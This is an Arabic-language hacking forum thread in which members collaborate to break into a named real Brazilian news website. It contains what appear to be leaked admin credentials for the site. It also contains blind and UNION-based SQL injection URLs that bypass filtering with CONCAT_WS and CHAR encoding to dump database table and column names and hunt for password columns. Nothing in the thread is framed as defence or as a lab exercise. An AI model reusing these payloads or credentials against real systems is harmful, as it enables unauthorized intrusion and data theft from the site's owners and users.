الى محتفي الحقن (نسيـــــــــــم هههههههه ) الكل يدخل

cisco_security · 06-26-2012, 08:16 PM

معانا موقع
حاولت انا و ميدو نحقنه بس طبعا انا نسيت الحقن من زمان و ما حقنت موقع
الموقع ذا فيه كثير فلتره ياريت احد يشرح لنا كيف طريقه التخطي
الموقع :

كود PHP:

  http://www.valorcontabil.com.br/supernews/?noticia=15

بانتظار ردودكم
BlackMask
Midou868

This is for you aircrack-ng

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC hgn lpjtd hgprk (ksdJJJJJJJJJJJl iiiiiiii ) hg;g d]og

mido868 · 06-26-2012, 08:28 PM

اقتباس

المشاركة الأصلية كتبت بواسطة BlackMask


	معانا موقع حاولت انا و ميدو نحقنه بس طبعا انا نسيت الحقن من زمان و ما حقنت موقع الموقع ذا فيه كثير فلتره ياريت احد يشرح لنا كيف طريقه التخطي الموقع : كود PHP: `http://www.valorcontabil.com.br/supernews/?noticia=15` بانتظار ردودكم BlackMask Midou868 This is for you aircrack-ng

لقد قام المشاغب بحلها هههههههههههههه
user=valorbm
pass=2003vc

aircrack -ng · 06-26-2012, 08:33 PM

BLIND SQL
http://www.valorcontabil.com.br/supe...elect%201%29=1

mido868 · 06-26-2012, 08:44 PM

اقتباس

المشاركة الأصلية كتبت بواسطة aircrack -ng


	BLIND SQL http://www.valorcontabil.com.br/supe...elect%201%29=1

لقد كنا نريد فقط تخطى الامر concat لهذا الموقع

aircrack -ng · 06-26-2012, 08:51 PM

اقتباس

المشاركة الأصلية كتبت بواسطة mido868


	لقد كنا نريد فقط تخطى الامر concat لهذا الموقع

ماتنساش دايما قيم ascll hex symbol هي مهمة جدا

ميدو ماتنساش التقييم

كود PHP:

  http://www.valorcontabil.com.br/supernews/?noticia=(-1)UNION(SELECT(1),(2),(3),(4),(5),(6),(7))

ادخال قيم السيمبول

كود PHP:

  http://www.valorcontabil.com.br/supernews/?noticia=(-1)UNION(SELECT(1),(2),(3),(4),(CONCAT_WS(CHAR(32,58,32),table_name,column_name,table_schema)),(6),(7)+from+information_schema.columns)

كود PHP:

  http://www.valorcontabil.com.br/supernews/?noticia=(-1)UNION(SELECT(1),(2),(3),(4),(CONCAT_WS(CHAR(32,58,32),table_name,column_name,table_schema)),(6),(7)+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 37))

كملو كل شيء سهل

mido868 · 06-26-2012, 09:30 PM

تم التقييم

الى محتفي الحقن (نسيـــــــــــم هههههههه ) الكل يدخل

جـــ'ابات العناكــ'ب